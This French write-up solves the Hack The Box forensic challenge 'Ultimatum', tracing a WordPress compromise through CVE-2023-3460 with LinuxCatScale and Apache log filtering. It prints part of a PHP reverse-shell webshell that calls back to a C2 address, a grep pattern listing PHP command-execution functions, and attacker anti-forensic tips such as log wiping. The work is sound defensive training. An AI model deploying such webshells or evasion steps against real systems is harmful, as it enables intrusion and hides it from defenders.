I. Présentation
On se retrouve dans cet article pour une nouvelle solution de l’un des challenges d’investigation numérique/forensic nommés Sherlocks et mis à disposition par la plateforme Hack The Box. Dans cet article, nous allons détailler la démarche qui permet de résoudre le Sherlocks Ultimatum, de difficulté “débutant”. Il s’agit d’investiguer sur les traces d’une cyberattaque ciblant un serveur Linux via la compromission d’un site WordPress
Cet article sera notamment l’occasion de comprendre comment peut se dérouler concrètement une cyberattaque et quels sont les modes opératoires des attaquants et des analystes en cybersécurité. Cet article sera l’occasion d’étudier un cas concret de compromission d’un serveur Linux et d’un site WordPress, cela en suivant les différentes étapes de l’attaque. Nous découvrions également l’outil LinuxCatScale, utilisé ici pour réaliser une collecte des preuves de compromission.
Lien du challenge : Hack The Box – Sherlocks – Ultimatum
Cette solution est publiée en accord avec les règles d’HackThebox et ne sera diffusée que lorsque le Sherlocks en question sera indiqué comme “Retired”.
Technologies abordéesLinux, WordPress, PHPOutils utilisésLinuxCatScale, grep, cut
Retrouvez tous nos articles Hack The Box via ce lien :
II. Forensic : le cas Ultimatum
A. Découverte de l’archive et des traces collectées
J’ai commencé l’investigation sans m’intéresser aux questions qui guident l’exercice et au contexte dans un premier temps, notamment afin de comprendre ce qui avait été exporté, mais aussi pour me mettre dans la situation d’un vrai analyste qui dispose de peu d’informations. Commençons par l’archive qui nous est fournie :
# Décompression de l’archive ZIP
$ unzip ultimatum.zip
Archive: ultimatum.zip
[ultimatum.zip] Ultimatum.tar.gz password:
inflating: Ultimatum.tar.gz
Celle-ci contient une autre archive, au format tar.gz :
# Décompression de l’archive tar.gz
$ tar xvf Ultimatum.tar.gz
./catscale_out/
./catscale_out/Docker/
./catscale_out/Misc/
./catscale_out/Misc/ip-172-31-11-131-20230808-0937-exec-perm-files.txt
./catscale_out/Misc/ip-172-31-11-131-20230808-0937-pot-webshell-first-1000.txt
./catscale_out/Misc/ip-172-31-11-131-20230808-0937-full-timeline.csv
./catscale_out/Misc/ip-172-31-11-131-20230808-0937-Setuid-Setguid-tools.txt
./catscale_out/Misc/ip-172-31-11-131-20230808-0937-pot-webshell-hashes.txt
./catscale_out/Misc/ip-172-31-11-131-20230808-0937-dev-dir-files.txt
./catscale_out/Misc/ip-172-31-11-131-20230808-0937-dev-dir-files-hashes.txt
./catscale_out/User_Files/
./catscale_out/User_Files/hidden-user-home-dir.tar.gz
./catscale_out/User_Files/hidden-user-home-dir-list.txt
./catscale_out/System_Info/
[…]
Le contenu de l’archive “.tar.gz” nous indique la présence de très nombreux fichiers, tous contenus dans le dossier “catscale_out/”. Après quelques recherches, on peut vite découvrir que ces fichiers proviennent d’un outil de collecte de données orienté analyse forensic : LinuxCatScale.
Il s’agit d’une solution proposée par WithSecureLabs visant à automatiser et standardiser la collecte des preuves sur un système Linux. L’idée est de récolter un grand nombre d’informations, de fichiers, de résultats de commandes susceptibles de contenir les traces d’une compromission, cela dans le cadre d’une analyse à froid (une investigation numérique n’est jamais réalisée sur le système lui-même).
Il est préconisé d’utiliser le même outil pour décompresser l’archive “.tar.gz” plutôt que de le faire manuellement. Je récupère donc le script pour l’utiliser sur notre archive :
# Récupération de l’outil LinuxCatScale
$ git clone https://github.com/WithSecureLabs/LinuxCatScale.git
$ cd LinuxCatScale/
$ cp ~/Downloads/Ultimatum.tar.gz .
# Extraction de l’archive à analyser
$ sudo ./Extract-Cat-Scale.sh
Let’s do this
Ultimatum Completed
Il est nécessaire de mettre l’archive “.tar.gz” dans le même dossier que le script d’extraction. Cette étape nous permet de récupérer à peu près le même contenu :
Extrait du contenu de l’archive LinuxCatScale.
Parmi les nombreuses informations que contient l’archive, la liste des processus en cours d’exécution au moment du prélèvement présente quelque chose d’anormal. Voici un extrait du contenu du fichier “Process_and_Network/ip-172-31-11-131-20230808-0937-processes-axwwSo.txt” :
USER PID PPID VSZ RSS TTY STAT STIME TIME COMMAND
root 12221 1 217852 29388 ? Ss Jul12 00:01:29 /usr/sbin/apache2 -k start
[…]
www-data 234471 12221 224360 49248 ? S 08:49 00:00:01 /usr/sbin/apache2 -k start
[…]
www-data 234517 234471 2616 596 ? S 09:01 00:00:00 sh -c uname -a; w; id; /bin/bash -i
Nous voyons ici un processus “sh” contenant plusieurs commandes caractéristiques d’une première prise d’information par un attaquant. Celui-ci cherche à savoir sur quel système il se situe, sa version et avec quel utilisateur il agit. Si l’on regarde le PPID (Parent Process ID) de ce processus (“234471″), on remarque qu’il s’agit d’un processus fils d’Apache2” (PID “234471”). En temps normal, les sites web n’exécutent pas ce genre de commande.
Nous avons donc ici identifié le vecteur de l’attaque, il s’agit bien d’une application web. Intéressons-nous à présent au contexte de l’attaque :
Cette investigation porte donc sur la compromission du site web “Forela Social Club”, ciblé par des attaquants. L’équipe SOC suspecte la présence d’un plugin vulnérable sur ce blog. Suite à la suspicion de compromission, l’équipe informatique a réalisé une collecte sur le serveur compromis.
B. Analyse des logs Apache2
Enoncé – Task 1 : Which security scanning tool was utilized by the attacker to fingerprint the blog website?
Parmi les nombreux fichiers de l’archive fournie se trouve la totalité des journaux d’évènements. En sachant que le vecteur principal de l’attaque a été le service web, nous pouvons commencer par étudier les journaux du service web Apache2 :
Synthèse des logs apache contenus dans l’archive.
Cela représente un volume de données assez important. Je commence par lister les principaux couples “IP – user-agent” contenus dans les logs afin d’avoir une vue d’ensemble des principaux visiteurs de ce service web :
# Tri des journaux par IP – user-agent
$ cat access.lo* |cut -d ‘”‘ -f 1,6| cut -d ” ” -f 1,6-99 | sort |uniq -c |sort -r |head -n 20
2801 149.248.3.238 “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36
2371 23.106.60.163 “WPScan v3.8.24 (https://wpscan.com/wordpress-security-scanner)
1666 85.208.139.237 “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
1256 146.190.96.107 “Mozilla/5.0 (X11 Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
726 86.5.206.121 “WPScan v3.8.24 (https://wpscan.com/wordpress-security-scanner)
[…]
Ici, j’utilise la commande “cut”, qui permet de segmenter les lignes des fichiers par un délimiteur (option “-d”). Le fait de piper les commandes les unes aux autres permet d’être de plus en plus sélectif dans la recherche. Les commandes “sort” et “uniq -c” sont ensuite utilisées pour synthétiser les éléments retenus. Cette première analyse permet d’isoler les IP suivantes, qui présentent un user-agent “WPScan v3.8.24” : 23.106.60.163 et 86.5.206.121. L’outil de scan utilisé est donc WPScan.
WPScan est un outil bien connu qui permet d’effectuer un scan de vulnérabilité sur les CMS WordPress. Il s’agit ici d’une opération très verbeuse puisque le scanner va émettre une grande quantité de requêtes afin de découvrir des plugins, des erreurs de configuration, des comptes utilisateurs et mots de passe faibles, de potentielles vulnérabilités, etc.
Dans un deuxième temps, j’effectue donc un filtre sur ce user-agent pour avoir une idée des dates auxquelles ont eu lieu ces scans (en excluant les secondes) :
# Filtre sur le user-agent “wpscan” et isaloration des dates de chaque requêtes.
$ grep “wpscan” access.*|cut -d ” ” -f 4 |cut -d “:” -f 1-3 |sort -u
[07/Aug/2023:09:42
[07/Aug/2023:09:43
[07/Aug/2023:09:44
[07/Aug/2023:09:45
[08/Aug/2023:08:21
[08/Aug/2023:08:30
[08/Aug/2023:08:31
[08/Aug/2023:08:32
Il semble que deux scans distincts aient été réalisés (ce qui doit correspondre aux deux adresses IP identifiées). Un le 07 août vers 9h42, l’autre le 08 août vers 8h20.
Enoncé – Task 2 : Which CVE was exploited by the attacker?
Comme indiqué dans l’énoncé, l’attaquant semble être passé par un site web, et plus précisément un plugin vulnérable, ce qui est le cas de la majorité des attaques sur WordPress.
L’ajout d’un plugin sur un CMS ou autre type d’application étend sa surface d’attaque. Cela, car on ajoute des fonctionnalités, des formulaires, des points d’entrée dont la robustesse dépend d’éditeurs tiers, parfois peu expérimentés ou dont le code n’a pas été éprouvé. Cela rajoute donc des vulnérabilités potentielles à celles du CMS lui-même. Sans compter que le cycle de mise à jour des plugins est différent de celui de WordPress.
Pour avoir une idée des plugins qui ont reçu des requêtes, j’effectue un filtre sur le terme “plugins/”. Dans WordPress, tous les plugins sont stockés dans ce répertoire. Le simple fait d’afficher un formulaire dépendant d’un plugin suffit à générer des requêtes vers le répertoire correspondant (JavaScript, CSS, etc.).
# Filtre sur les requêtes contenant le chemin “wp-content/plugins/” provenant des IP suspectes
$ grep “23.106.60.163\|86.5.206.121” access.lo* |grep “wp-content/plugins/” | cut -d ” ” -f 7 |cut -d “/” -f 1-4 |sort |uniq -c
1 //wp-content/plugins
1 /favicon.ico
1 /icons/back.gif
1 /icons/blank.gif
1 /icons/folder.gif
1 /icons/text.gif
1 /icons/unknown.gif
3 /wp-content/plugins/
2 /wp-content/plugins/UltimateMember
75 /wp-content/plugins/ultimate-member
Un seul plugin a reçu des requêtes, le plugin “ultimate-member”. Nous sommes donc sûrs que c’est celui-ci qui a été exploité dans le cadre de la compromission de notre WordPress. Difficile d’obtenir des informations précises sur sa version à partir des journaux d’évènements. Si l’on regarde les vulnérabilités connues sur ce plugin, voici ce que l’on obtient :
Liste des CVE du plugin “Ultimate-Member”. Source : https://wpscan.com/plugin/ultimate-member
Bon, il y en a un paquet ! On peut déjà utiliser la date de l’attaque comme filtre pour nos recherches. Toutes les CVE après août 2023 ne sont pas des candidates intéressantes. Également, il faut cibler des vulnérabilités à impact fort comme des RCE (Remote Command Execution), des élévations de privilèges ou des contournements de droits.
À noter que dans la réalité, la compréhension et l’étude précise de l’exploitation d’une vulnérabilité peut être complexe si l’attaque en question n’est pas référencée (ou l’est, mais avec peu de détails techniques). C’est notamment le cas des 0-day, ces vulnérabilités qui ne sont pas encore connues publiquement (en dehors de l’attaquant lui-même) et pour lesquelles aucun correctif de sécurité n’est donc existant.
La vulnérabilité suivante semble intéressante d’après nos critères :
Source : https://wpscan.com/vulnerability/694235c7-4469-4ffd-a722-9225b19e98d7
Intéressons-nous aux détails et PoC (Proof Of Concept) de cette vulnérabilité. On remarque notamment que la vulnérabilité concerne le point d’entrée (la page) “/register” et nécessite l’envoi de paramètres POST. On peut donc réaliser un filtre sur les adresses IP malveillantes avec ces différentes informations :
# Filtre sur les requêtes visant la page /register provenant des IP suspectes
$ grep “23.106.60.163|86.5.206.121” access.lo* |grep “register” |grep “POST”
access.log:23.106.60.163 – – [08/Aug/2023:08:33:59 +0000] “POST //index.php/register/ HTTP/1.1” 302 951 “-” “Secragon Offensive Agent”
L’une des adresses IP a bien utilisé ce point d’entrée via une requête POST. C’est un indicateur fort que la CVE a été exploitée, même si les données POST ne sont pas journalisées. La réponse à cette question est donc : CVE-2023-3460.
Enoncé – Task 3 : What was the IP Address utilized by the attacker to exploit the CVE?
Nous avons déjà la réponse à cette question, puisque cela a été notre base de recherche. C’est l’adresse IP “23.106.60.163” qui semble avoir exploité la “CVE-2024-3460”, puisque c’est elle qui a émis la requête POST vers la page “/register”.
Enoncé – Task 4 : What is the name of the backdoor user added to the blog as part of the exploitation process?
Cette vulnérabilité, si elle a bien été exploitée, aurait permis à l’attaquant d’obtenir un accès en tant qu’administrateur à notre WordPress. En plus du défacement de notre site web et de la récupération de son contenu, cela permet de manipuler le code PHP du site afin d’exécuter des commandes système. Voici un exemple de ce type d’exploitation : Hacktrickz – Worpdress – Panel RCE
Une fois mise en place, l’attaquant a accédé à sa backdoor via le service web, son accès a donc été journalisé. Il est notamment important de garder en tête la timeline potentielle de l’attaque. La backdoor a forcément été mise en place après l’accès au back-office, donc après l’exploitation de la CVE identifiée (“08/Aug/2023:08:33:59”) :
# Filtre sur la date de l’attaque et l’adresse IP de l’attaquant
$ grep ‘23.106.60.163’ access* |grep ’08/Aug/2023:08:3′
[…]
access.log:23.106.60.163 – – [08/Aug/2023:08:33:59 +0000] “POST //index.php/register/ HTTP/1.1” 302 951 “-” “Secragon Offensive Agent”
access.log:23.106.60.163 – – [08/Aug/2023:08:34:00 +0000] “GET /index.php/user/secragon/ HTTP/1.1” 200 14335 “-” “Secragon Offensive Agent
La requête sur le point d’entrée “/index.php/user/secragon/” semble inhabituelle. De plus, il s’agit de la dernière requête effectuée par cette adresse IP identifiée comme suspecte. Le nom de la backdoor est donc “secragon”.
Enoncé – Task 5 : After the exploit, the SOC team observed that the attacker’s IP address changed and from the logs, it seems that the attacker manually explored the website after logging in. The SOC team believes that the previous IP seen during exploitation was a public cloud IP. What is the IP Address the attacker used after logging in to the site?
Il semble que l’adresse IP de l’attaquant ait changé après cette première exploitation. On peut imaginer que l’attaquant ait accédé à sa backdoor depuis une autre IP pour dissimuler son action et rendre plus difficile son identification et sa localisation.
Pour résoudre cette étape, il faut bien connaitre WordPress. En sachant que l’attaquant a parcouru le site web après s’être authentifié et suite à sa première attaque, on se doute qu’il s’est authentifié en tant qu’administrateur (ou utilisateur privilégié). Il avait donc accès au backend WordPress, qui se caractérise entre autres par le point d’entrée “/wp-admin/”. J’ai donc effectué un filtre sur ce point d’entrée en exposant le nombre de requêtes faites sur wp-admin pour chaque adresse IP :
# Filtre sur les adresse IP ayant accédée au point d’entrée “wp-admin”
$ grep ‘wp-admin’ * |cut -d ” ” -f 1 |sort |uniq -c
96 access.log.1:203.101.190.9
377 access.log:198.16.74.45
19 access.log:198.16.76.68
1 access.log:198.16.76.69
1 access.log:3.110.136.25
10 access.log:50.7.93.28
1 access.log:62.212.64.17
L’adresse IP qui a fait le plus de requêtes vers “/wp-admin/*” est” 198.16.74.45″. En regardant plus précisément les requêtes de cette adresse IP sur les URL en “/wp-admin/”, on peut remarquer la modification du thème du site, ainsi qu’une correspondance temporelle (l’accès authentifié a bien accès après l’exploitation de la CVE) :
access.log:198.16.74.45 – – [08/Aug/2023:08:59:46 +0000] “POST /wp-admin/admin-ajax.php HTTP/1.1” 200 576 “http://3.110.136.25/wp-admin/themes.php” “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0”
access.log:198.16.74.45 – – [08/Aug/2023:09:00:46 +0000] “POST /wp-admin/admin-ajax.php HTTP/1.1” 200 576 “http://3.110.136.25/wp-admin/themes.php” “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0”
C. Identification d’un webshell PHP
Enoncé – Task 6 : The SOC team has suspicions that the attacker added a web shell for persistent access. Confirm the full path of the web shell on the server.
Comme rappelé plus haut, l’accès administrateur au backend WordPress permet la modification de certains fichiers PHP (ceux du thème WordPress), permettant d’y exécuter des commandes système. C’est une méthode trés connue des attaquants pour passer de la compromission d’une application web à un accès interactif au système qui l’héberge.
Le prélèvement opéré par LinuxCatScale contient notamment un fichier nommé “MISC/ip-172-31-11-131-20230808-0937-pot-webshell-first-1000.txt” qui semble regrouper le contenu de plusieurs fichiers PHP. Le fichier semble avoir toujours la même structure :
==> /chemin/fichier.php <==
==> /chemin/fichier.php <==
J’effectue donc une recherche à l’intérieur de ce fichier produit par LinuxCatScale en filtrant sur les fonctions PHP permettant l’exécution de commande système. Une telle liste peut être obtenue ici : PHP – Program execution Functions.
# Filtre des fonctions d’exécution de commande système PHP
$ grep “==>\|escapeshellarg(\|escapeshellcmd(\|exec(\|passthru(\|proc_close(\|proc_get_status(\|proc_nice(\|proc_open(\|proc_terminate(\|shell_exec(\|system(” ../../../Misc/ip-172-31-11-131-20230808-0937-pot-webshell-first-1000.txt
==> /var/www/html/wp-content/themes/twentytwentythree/patterns/hidden-comments.php <==
$process = proc_open($shell, $descriptorspec, $pipes);
proc_close($process);
[…]
Je laisse le filtre sur “==>” afin de préserver le nom de chaque fichier, ce qui me permet de savoir dans quel fichier sont les extraits de codes filtrés. Le code identifié dans le fichier “hidden-comments.php” coche toutes les cases : utilisation de fonctions PHP et présence dans le thème WordPress. Voici son contenu :
==> /var/www/html/wp-content/themes/twentytwentythree/patterns/hidden-comments.php <==
[email protected] set_time_limit (0);
$VERSION = “1.0”;
$ip = ‘43.204.24.76’;
$port = 6969;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = ‘uname -a; w; id; /bin/bash -i’;
$daemon = 0;
$debug = 0; if (function_exists(‘pcntl_fork’)) {
$pid = pcntl_fork(); if ($pid == -1) {
Enoncé – Task 7 : What was the value of the $shell variable in the web shell?
La variable “$shell” dans le code ci-dessus contient “‘uname -a; w; id; /bin/bash -i’;”. Il s’agit du premier élément observé dans la liste des processus, il permet d’avoir quelques informations sur le système et l’utilisateur compromis.
Enoncé – Task 8 : What is the size of the webshell in bytes?
Pour répondre à cette question sur la taille de la backdoor, j’isole le code identifié (entre le “” et le “?>”) dans un fichier :
# Récupération del a taille de la backdoor
$ ls -al /tmp/webshell.php
-rw-rw-r– 1 mickael mickael 2592 Jun 15 20:44 /tmp/webshell.php
Le webshell pèse 2592 octets.
Enoncé – Task 9 : The SOC team believes that the attacker utilized the webshell to get RCE on the server. Can you confirm the C2 IP and Port?
Même chose, cette information peut être récupérée dans les variables du webshell : “43.204.24.76:6969”.
Enoncé – Task 10 : What is the process ID of the process which enabled the Threat Actor (TA) to gain hands-on access to the server?
On retourne ici au tout premier élément observé, le processus “234521” qui est parent des commandes exécutées par le webshell de l’attaquant. Observé dans le fichier “Process_and_Network/ip-172-31-11-131-20230808-0937-processes-axwwSo.txt” :
www-data 234471 12221 224360 49248 ? S 08:49 00:00:01 /usr/sbin/apache2 -k start
[…]
www-data 234517 234471 2616 596 ? S 09:01 00:00:00 sh -c uname -a; w; id; /bin/bash -i
www-data 234521 234517 4248 3444 ? S 09:01 00:00:00 /bin/bash -i
Enoncé – Task 11 : What is the name of the script/tool utilized as part of internal enumeration and finding privilege escalation paths on the server?
J’ai ici dû parcourir une grande partie des fichiers de l’archive LinuxCatScale avant de trouver le fichier “Misc/ip-172-31-11-131-20230808-0937-dev-dir-files-hashes.txt” :
26bbf01183c7aacf331f9ecdf694d44122e1a089 /dev/shm/LinEnum.sh
Sous Linux, le dossier “/dev/shm” est comme “/tmp”, c’est un répertoire dans lequel tout le monde peut écrire. L’attaquant est donc sûr de ne pas avoir d’erreur de permission en utilisant ce répertoire. Les bonnes pratiques recommandent de le rendre non exécutable pour cette raison, tout comme le répertoire “/tmp” (cf. guide de l’ANSSI).
À noter qu’ici, il faut connaitre le script “LinEnum”, qui est assez connu lorsque l’on est familier avec les tests d’intrusion, ou l’utilisation fréquente du répertoire “/dev/shm/” par les attaquants pour identifier clairement, c’est le script d’énumération recherché. Cela souligne l’importance de connaitre les outils des attaquants et leur méthodologie.
III. Notions abordées
Faisons à présent un bref récapitulatif des principaux apprentissages de cet exercice de forensic.
A. Du point de vue du défenseur
Pour se protéger contre ce type d’attaque, plusieurs mesures peuvent être prises :
Mise à jour régulière : assurer que tous les plugins et le CMS (WordPress dans ce cas) sont toujours à jour pour éviter les vulnérabilités connues.
Sécurité des plugins : utiliser uniquement des plugins provenant de sources fiables et vérifier régulièrement les vulnérabilités associées à ces plugins.
Configuration de sécurité : configurer des politiques de sécurité strictes, comme la limitation des permissions d’exécution de commandes via des services web ou le blocage de la modification des fichiers PHP depuis le backend (solution proposée par le plugin WordFence notamment).
Pare-feu d’application web (WAF) : utiliser un WAF pour filtrer et surveiller le trafic web vers et depuis les applications web afin de bloquer les tentatives d’exploitation connues.
B. Du point de vue de l’analyste forensic
Pour être plus efficace dans ce type d’investigation forensic en tant qu’analyste, certaines notions et compétences sont cruciales :
Compréhension des journaux d’événements : Savoir interpréter les logs des serveurs web, notamment ceux d’Apache, pour identifier les signes de compromission.
Je suis toujours à la recherche d’un outil qui permettrait d’automatiser/faciliter le travail de synthèse et recherche d’évènements suspects dans les journaux Apache. Si vous en connaissez, vous pouvez me l’indiquer en commentaire ! 🙂
Utilisation d’outils spécialisés : Maîtriser des outils de collecte et d’analyse forensic, comme LinuxCatScale, pour automatiser la collecte des preuves et gagner du temps. Connaitre son fonctionnement permet d’être plus rapide dans le traitement de l’archive qu’il produit.
Analyse des processus système : Connaître les processus courants d’un système Linux et savoir identifier les processus suspects pouvant indiquer une compromission.
Connaissance des techniques d’attaque : Être familier avec les techniques courantes d’exploitation de vulnérabilités, notamment celles spécifiques à WordPress et à ses plugins.
Méthodes de tri et de filtrage de données : Utiliser efficacement les commandes shell pour traiter et analyser de grands volumes de données (“grep”, “cut”, etc.) comme les journaux d’accès.
C. Du point de vue de l’attaquant
Du point de vue de l’attaquant, voici les mesures qui auraient pu être prise afin de rendre son attaque plus discrète et compliquer l’analyse forensic :
Obfuscation des commandes : Utiliser des techniques d’obfuscation pour masquer les commandes exécutées et éviter d’attirer l’attention dans les logs système (comme de la commande “sh -c uname -a; w; id; /bin/bash -i”).
Rotation des adresses IP : Changer régulièrement d’adresse IP pour compliquer la corrélation des activités malveillantes.
Utilisation de techniques de persistance : Mettre en place des backdoors discrètes et difficiles à détecter, telles que des webshells camouflés dans des fichiers légitimes.
Effacement des traces : Supprimer ou altérer les journaux d’événements et les traces de commandes exécutées pour effacer les indices de compromission.
IV. Conclusion
La résolution du challenge forensic Sherlocks Ultimatum de la plateforme Hack The Box nous a permis de découvrir l’outil LinuxCatScale pour la collecte des données. Nous avons également eu un cas concret et plutôt réaliste de compromission d’un serveur via un plugin WordPress vulnérable et des traces qu’une telle compromission peut laisser.
Enfin, si vous voulez accéder à des cours et des modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d’inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy
Co-fondateur d’IT-Connect.fr.
Auditeur/Pentester chez Orange Cyberdéfense.